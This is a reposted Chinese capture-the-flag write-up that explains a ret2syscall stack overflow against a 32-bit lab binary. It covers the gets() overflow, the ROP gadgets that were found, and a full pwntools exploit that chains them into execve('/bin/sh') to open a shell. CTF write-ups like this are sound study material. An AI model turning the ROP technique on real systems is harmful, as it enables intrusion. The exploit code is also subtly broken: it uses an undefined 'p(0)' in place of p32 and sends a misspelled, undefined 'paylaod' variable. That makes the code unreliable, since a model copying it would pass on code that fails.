ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ret2Syscall writeup

2021-12-14 21:32:17  阅读:242  来源: 互联网

标签:bin writeup pop eax p32 ebx payload ret2Syscall


例题ret2Syscall

  1. 查看安全策略

    [*] '/root/ctf/Other/pwn/ret2syscall'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    开启了NX enabled

  2. 查看字符串和方法

    未发现可以利用直接或间接调用的system函数,但是发现了/bin/sh字符串

    [0x08048d0a]> iz | grep /bin/sh
    000 0x00076408 0x080be408   7   8 (.rodata) ascii /bin/sh
    
  3. 寻找溢出点

    在main函数中发现危险函数gets(), 分配的栈大小是0x1c

    |           0x08048e8f      8d44241c       lea eax, dword [var_1ch]    ; .//rop.c:15
    |           0x08048e93      890424         mov dword [esp], eax
    |           0x08048e96      e8b5670000     call sym.gets
    
  4. payload

    当前无system,有/bin/sh,考虑通过系统调用int80的方式获取shell。

    execve("/bin/sh", 0, 0);
    

    构造这个过程需要用到eax,ebx,ecx,edx四个gadget和int 80中断

    0x080e3f1e: pop eax; ret;
    
    0x0806eb90      5a             pop edx
    0x0806eb91      59             pop ecx
    0x0806eb92      5b             pop ebx
    0x0806eb93      c3             ret
    
    0x0806f230: int 0x80; ret;
    
    

    构造paylaod

    payload = b'a' * (0x1c + 0x4)
    payload += p32(pop_eax) + p32(0xb)
    payload += p32(pop_edx_ecx_ebx) + p(0) + p(0) + p(binsh)
    payload += p32(int80)
    
  5. exp

    from pwn import *
    
    conn = process('./ret2syscall')
    
    pop_eax = 0x080e3f1e
    pop_edx_ecx_ebx = 0x0806eb90
    int80 = 0x0806f230
    binsh = 0x080be408
    
    payload = b'a' * (0x1c + 0x4)
    payload += p32(pop_eax) + p32(0xb)
    payload += p32(pop_edx_ecx_ebx) + p(0) + p(0) + p(binsh)
    payload += p32(int80)
    
    conn.recvuntil(b'What do you plan to do?\n')
    conn.sendline(paylaod)
    conn.interactive()
    

标签:bin,writeup,pop,eax,p32,ebx,payload,ret2Syscall
来源: https://blog.csdn.net/Morphy_Amo/article/details/121940436

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有